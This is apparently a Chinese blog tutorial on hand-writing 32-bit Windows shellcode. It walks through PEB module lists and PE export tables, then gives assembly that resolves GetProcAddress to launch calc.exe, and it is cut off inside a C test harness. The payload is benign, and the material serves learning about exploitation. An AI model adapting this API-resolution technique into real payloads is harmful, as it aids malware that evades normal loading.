0%

Create A Simple Windows Shellcode

继上一篇《Create A Simple Linux Shellcode》之后,这里来探讨一下Windows下简单shellcode的编写。

WindowsLinux区别还是挺大的。Linux的函数调用只需要知道系统调用号,然后系统调用即可。Windows的函数与特定DLL相关,需要知道DLL特定导出函数的地址才能调用。在进一步进入shellcode编写之前,需要了解PEBPE的相关知识。

第一部分:PEB中某些重要的部分

TEBThread Environment Block,线程环境块)系统在此TEB中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB 所在地址低的地方。用户模式下,当前线程的TEB位于独立的4KB段(页),可通过CPUFS寄存器来访问该段,一般存储在[FS:0x00]

PEBProcess Environment Block,进程环境块)存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。可在TEB结构地址偏移0x30处获得PEB的地址位置。

MSDN中关于TEB的结构的描述:TEB,不是很明确,更详细的可以参考_TEB。在windbg里面能够更直观的看到TEBPEB的关系。!teb扩展显示线程环境块(teb)中信息的格式化视图。

shellcode

看一下更清楚的结构:

shellcode

结合之前学习的SEH BOF利用,这里FS:[0x00]是指向SEH链的指针。可以看到PEB的指针在0x30的位置。MSDN中关于PEB的结构描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

定义里面有很多保留字段,在windbg中,我们来更直观的看一下:

shellcode

这里重点关注一下其中的成员Ldr,其结构是_PEB_LDR_DATA,来看下MSDN关于它的定义:

1
2
3
4
5
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

包含有关该进程加载过程的信息。还是在windbg里面看一下:

shellcode

可以看到这里,除了文档InMemoryOrderModuleList,实际还有两个:InLoadOrderModuleListInInitializationOrderModuleList。这个其实是模块在不同状态的顺序

InLoadOrderModuleList 指的是模块加载的顺序

InMemoryOrderModuleList指的是在内存的排列顺序

InInitializationOrderModuleLists 指的是模块初始化装载顺序。

继续看一下InMemoryOrderModuleList的作用:双向链表的头部包含进程的加载模块。链表的每一个都是指向LDR_DATA_TABLE_ENTRY结构的指针。来看一下LDR_DATA_TABLE_ENTRY这个结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

看下来有点迷糊,在windbg里面一步一步查看:这里选择跟进InMemoryOrderModuleList指向的结构:

第一个指向程序本身:(我这里加载的是本机的Calculator.exe

shellcode

根据MSDN规定LIST_ENTRY的结构,其中有两个成员:FlinkBlink,他们分别指向一个LDR_DATA_TABLE_ENTRY 结构。各个LIST_ENTRY的第一个填充就是链表的Flink,指向下一个链表节点,第二个填充的是链表的Blink,指向前一个链表节点。这里看着有点迷糊。

第一个:

shellcode

第二个:

shellcode

shellcode

第三个:

shellcode

shellcode

3月28日补充:上面查看的时候,没有进行偏移计算,所以得到的结果是错误的,之前还疑惑为啥会出现地址不可访问,原来是解析地址给错了。其实,这个Flink既指向双向链表的下一个LIST_ENTRY结构,同时也指向LDR_DATA_TABLE_ENTRY 这个结构中具体的链,这样就解释了为什么windbg可以用同一个地址去解析两个不同的结构,在解析的时候要根据其使用的链在LDR_DATA_TABLE_ENTRY结构中的偏移,得到正确的指向LDR_DATA_TABLE_ENTRY结构的地址。在windbg中看下LDR_DATA_TABLE_ENTRY结构描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
0:023> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 FlagGroup : [4] UChar
+0x034 Flags : Uint4B
+0x034 PackagedBinary : Pos 0, 1 Bit
+0x034 MarkedForRemoval : Pos 1, 1 Bit
+0x034 ImageDll : Pos 2, 1 Bit
+0x034 LoadNotificationsSent : Pos 3, 1 Bit
+0x034 TelemetryEntryProcessed : Pos 4, 1 Bit
+0x034 ProcessStaticImport : Pos 5, 1 Bit
+0x034 InLegacyLists : Pos 6, 1 Bit
+0x034 InIndexes : Pos 7, 1 Bit
+0x034 ShimDll : Pos 8, 1 Bit
+0x034 InExceptionTable : Pos 9, 1 Bit
+0x034 ReservedFlags1 : Pos 10, 2 Bits
+0x034 LoadInProgress : Pos 12, 1 Bit
+0x034 LoadConfigProcessed : Pos 13, 1 Bit
+0x034 EntryProcessed : Pos 14, 1 Bit
+0x034 ProtectDelayLoad : Pos 15, 1 Bit
+0x034 ReservedFlags3 : Pos 16, 2 Bits
+0x034 DontCallForThreads : Pos 18, 1 Bit
+0x034 ProcessAttachCalled : Pos 19, 1 Bit
+0x034 ProcessAttachFailed : Pos 20, 1 Bit
+0x034 CorDeferredValidate : Pos 21, 1 Bit
+0x034 CorImage : Pos 22, 1 Bit
+0x034 DontRelocate : Pos 23, 1 Bit
+0x034 CorILOnly : Pos 24, 1 Bit
+0x034 ChpeImage : Pos 25, 1 Bit
+0x034 ReservedFlags5 : Pos 26, 2 Bits
+0x034 Redirected : Pos 28, 1 Bit
+0x034 ReservedFlags6 : Pos 29, 2 Bits
+0x034 CompatDatabaseProcessed : Pos 31, 1 Bit
+0x038 ObsoleteLoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x044 TimeDateStamp : Uint4B
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c Lock : Ptr32 Void
+0x050 DdagNode : Ptr32 _LDR_DDAG_NODE
+0x054 NodeModuleLink : _LIST_ENTRY
+0x05c LoadContext : Ptr32 _LDRP_LOAD_CONTEXT
+0x060 ParentDllBase : Ptr32 Void
+0x064 SwitchBackContext : Ptr32 Void
+0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE
+0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE
+0x080 OriginalBase : Uint4B
+0x088 LoadTime : _LARGE_INTEGER
+0x090 BaseNameHashValue : Uint4B
+0x094 LoadReason : _LDR_DLL_LOAD_REASON
+0x098 ImplicitPathOptions : Uint4B
+0x09c ReferenceCount : Uint4B
+0x0a0 DependentLoadFlags : Uint4B
+0x0a4 SigningLevel : UChar

通过以上这个结构,就好理解了。具体来分析一下,省略了一些步骤,以下面获取的_PEB_LDR_DATA地址和结构作为后续分析InMemoryOrderModuleList链的基础。

shellcode

注意InMemoryOrderModuleList的指针在LDR_DATA_TABLE_ENTRY结构中的偏移0x08。所以第一个为:

shellcode

第二个:

shellcode

shellcode

第三个:

shellcode

shellcode

借用别人的图,来直观感受一下:

shellcode

借用别人写的程序来说明

InLoadOrderModuleList

InMemoryOrderModuleList

InInitializationOrderModuleLists

三者加载模块的顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include<stdio.h>
#include<windows.h>

typedef struct UNICODE_STRING
{
USHORT _ength;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING, * PUNICODE_STRING;

typedef struct PEB_LDR_DATA {
ULONG Length;
BOOLEAN initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

}PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
}MY_LDR_MODULE, * PLDR_MODULE;

int main()
{
PEB_LDR_DATA* pEBLDR;
MY_LDR_MODULE* pLdrMod;
PLDR_MODULE PLdr;
LIST_ENTRY* pNext, * pStart;
_asm
{
mov eax, fs: [0x30]
mov eax, [eax + 0xC]
mov pEBLDR, eax
}
printf("GetModuleHandle Kernel32:0x%08x\n", GetModuleHandle("Kernel32"));
printf("GetModuleHandle ntdll:0x%08x\n", GetModuleHandle("ntdll"));
printf("--------------------------------------------------------------------------\n");
printf("PEB_LDR_DATA:0x%08x\n", pEBLDR);
printf("LDR->InLoadOrderModuleList:\t\t0x%08x\n", pEBLDR->InLoadOrderModuleList);
printf(">>>InLoadOrderModuleList<<<\n");
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InLoadOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = (MY_LDR_MODULE*)pNext;
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);

} while (pNext != pStart);

printf("LDR->InMemoryOrderModuleList:\t\t0x%08x\n", pEBLDR->InMemoryOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InMemoryOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);

printf("LDR->InInitializationOrderModuleList:\t0x%08x\n", pEBLDR->InInitializationOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InInitializationOrderModuleList);
pStart = pNext;

do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);
getchar();
}

shellcode

发现InLoadOrderModuleListInMemoryOrderModuleList,前3DLL无论内容还是顺序都是完全一样的。而InInitializationOrderModuleLists则在不同Window版本存在差异,故一般不选用这个内存顺序的方式。

利用InMemoryOrderModuleList的顺序来搜索KERNEL32.DLL的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <Windows.h>
#include <stdio.h>

int main()
{
unsigned int address;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 14h]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
mov esi, [eax];
lodsd;
mov eax, [eax + 10h]; Kernel.dll的基地址
mov address, eax;
}
printf("0x:%p\n", address);
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
return 0;
}

shellcode

第二部分:PE文件中某些重要的部分

先来看一下PE文件的格式:(这里讨论的是32位系统下的PE格式)

shellcode

结合另一个图一起看:

shellcode

先来看一下DOS Header:查看winnt.h文件(本机位置:C:\Program Files\Windows Kits\10\Include\10.0.19041.0\um\winnt.h

或者访问:https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

这里主要关注e_lfanew,它在偏移0x3c处,保存PE头相对于文件的偏移地址,这可以让我们到达PE头,接下来看一下PE头的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32

1
2
3
4
5
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

来继续看一下IMAGE_OPTIONAL_HEADER32的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

这里,我们主要关注结构体中的IMAGE_DATA_DIRECTORY类型,这里的IMAGE_NUMBEROF_DIRECTORY_ENTRIES是一个常量,为16。来看一下IMAGE_DATA_DIRECTORY的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory

1
2
3
4
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

其中DataDirectory的第一个元素指向导出表和导出表大小,其他的可以参照:

shellcode

看一下导出表的结构:https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-edata-section-image-only

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
ULONG AddressOfFunctions; // RVA from base of image
ULONG AddressOfNames; // RVA from base of image
ULONG AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

重点关注结构体中的最后三项:

AddressOfFunctions:指向的是整型数组,数组的个数由NumberOfFunctions来确定,如果数组元素的内容非0,那它就是一个导出函数的地址。

AddressOfNames:指向的也是一个整型数组,数组里面保存的是相应的函数名称的RVA,数组个数由NumberOfNames确定。

AddressOfNameOrdinals:指向的是短整型数组,数组里面保存的是序号。

三者关系如下所示:

shellcode

结合下图一起看:

shellcode

上面根据Name字段找到dll的文件名以后,使用LoadLibrarydll文件加载进内存,而为了找到相应的函数地址,还需要使用GetProcAddress函数来得到函数地址,而GetProcAddress函数可以使用字符串和序号的方式来获得函数地址。·

对于字符串的方式,首先是去AddressOfNames得到各个字符串的地址,然后在字符串的地址中找到相应的字符串,和GetProcAddress函数传入的字符串做比较,如果相等,则记录下这个相等的数组的下标,根据这个下标去AddressOfNameOrdinals中查找对应的下标中的序号值,得到的值就是作为数组AddressOfFunctions的索引来找到相应的函数地址。

另外一种是根据导出序号来查找函数,这个时候,GetProcAddress函数会首先将序号减去Base的值,得到AddressOfFunctions数组的索引,在根据这个索引来获得对应的函数的地址。

关于GetProcAddress,先看下这个:new-low-level-binaries。主要意思就是从kernel32.dll挪到了kernelbase.dll。我们来验证一下:

shellcode

或者用下面的方式:

shellcode

补充:后续发现kernel32.dll的导出表中能够找到GetProcAddress函数,只是它的调用有一些变化,具体可以参照:windbg-help-missing-kernel32-function中介绍的分析方法。所以在shellcode编写的时候,在kernel32.dll或者在kernelbase.dll中的导出表找GetProcAddress都可。

接下来,在windbg中来直观的展示一下。以kernelbase.dll为例:

shellcode

查看kernelbase.dll文件头信息:

shellcode

我们主要看导出表的信息:

shellcode

来看一下CFF Explorer打开的的kernelbase.dll中导出表的部分信息:

shellcode

结合上面两张图,我们来演示根据函数名来找到函数地址,以AccessCheck函数为例:

上面这张表显示:AccessCheck函数名的RVA001ca3cd,从下面这个表中可以看到001ca3cd在数组AddressOfNames中的第一个位置。

shellcode

AddressOfNameOrdinals数组中查看第一个位置的值,为函数序号,这里在显示的时候,因为AddressOfNameOrdinals为双字节,所以使用dw

shellcode

可以看到第一个位置的序号为0006,注意看CFF Explorer中也是0006。接下来到AddressOfFunctions数组中找到第七个位置的值(数组的下标以0开始):

shellcode

结合反汇编代码和CFF Explorer的值,都是一一对应的。

再看一下前面CFF Explorer打开的的kernelbase.dll中导出表部分信息的截图,发现序号00000005windbgAddressOfNameOrdinals数组中没有体现出来。未深究。

第三部分:简单shellcode的编写

了解完PEBPE的必要信息之后,终于进入shellcode编写的部分了。

编写shellcode的一般步骤是:(这里以弹计算器为例)

1.找到kernel32.dll(或者kernelbase.dll)加载到内存的基址

2.找到kernel32.dll(或者kernelbase.dll)的导出表

3.在导出表中找到GetProcAddressRVA,并结合kernel32.dll(或者kernelbase.dll)的基址算出GetProcAddress的实际地址

4.利用GetProcAddress函数找到CreateProcessA函数的地址

5.调用CreateProcessA函数来加载calc.exe

6.利用GetProcAddress函数找到ExitProcess函数的地址

7.调用ExitProcess函数

下面来分布展示和分析汇编代码。

寻找kernel32.dll的基址:

1
2
3
4
5
6
7
8
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address

寻找kernel32.dll的导出表:

1
2
3
4
5
6
7
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0

寻找GetProcAddress函数的名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GetFunction :

inc ecx //increment counter
lodsd //Get name offset
add eax, ebx //Get function name
cmp [eax], 0x50746547 //"PteG"
jnz short GetFunction //jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 //"rocA"
jnz short GetFunction //jump to GetFunction label if not "rocA"
cmp [eax + 0x8], 0x65726464 //"ddre"
jnz short GetFunction //jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] //ESI = Offset ordinals
add esi, ebx //ESI = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] //CX = Number of function
dec ecx //Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] //ESI = Offset address table
add esi, ebx //ESI = Address table
mov edx, dword ptr ds:[esi + ecx * 4] //EDX = Pointer(offset)
add edx, ebx //EDX = GetProcAddress

上面这段汇编代码中,带GetFuncion标识符这段用于在AddressOfNames数组中查找等于GetProcAddress字符串的数组下标,注意循环查找的时候,首先inc ecx,也就是说如果是第一个则ecx1,与我们平常知道的C语言数据下标从0开始有点不同。GetProcAddress四个字符一组,转换为十六进制,分三部进行比较。之前让我疑惑很久的地方在mov cx, word ptr ds:[esi + ecx * 2]这句汇编指令,为何是ecx*2,因为AddressOfNameOrdinals每一项是2个字节。因为数组都第一个值得下标为0,其实这里会指向实际下标之后的一个,不过因为AddressOfNameOrdinals数组的每一个值都是前一个值加1,所以先取值再减1也可。可以先dec ecx再进行mov cx, word ptr ds:[esi + ecx * 2],这样会比较好理解。

利用GetProcAddress函数找到CreateProcessA函数的地址:

1
2
3
4
5
6
7
8
9
10
11
xor ecx, ecx                    ; zeroing ECX
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress

注意这里有个trick

1
2
push 0x61614173	                ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa

因为CreateProcessA字符串每4个一组,最后会剩余sA2个字符,所以先增加2a,然后再减掉,还能在最后增加两个00,变成字符串结尾符。

以上执行完成之后,eax中保存CreateProcessA的函数地址。

来看一下CreateProcessA函数的基本用法,看下MSDN的介绍:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);

主要在最后两个参数,分别指向STARTUPINFOPROCESS_INFORMATION两个结构体。因为这两个结构体的存在,汇编代码需要开辟一块区域,就是为了这两个结构体指针指向它。看汇编代码:

1
2
3
4
5
6
7
8
9
; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'

接下来就是保存calc这个字符串了。因为前面已经开辟了一块区域,切都置为0,所以这里直接把calc的十六进按小端序压入栈即可。然后参照之前介绍的CreateProcessA函数的用法,完成栈数据的布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
push 0x636c6163  				;calc	
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc

最后,为了能够正常退出,调用了ExitProcess函数,不再解释,按照之前寻找函数的方式进行即可。

1
2
3
4
5
6
7
8
9
10
11
push 0x61737365	            ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

整合以上所有代码,最终的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
cmp [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ptr ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

写一个程序先测试,看是否成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <windows.h>

int main(int argc, char* argv[])
{

_asm
{

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
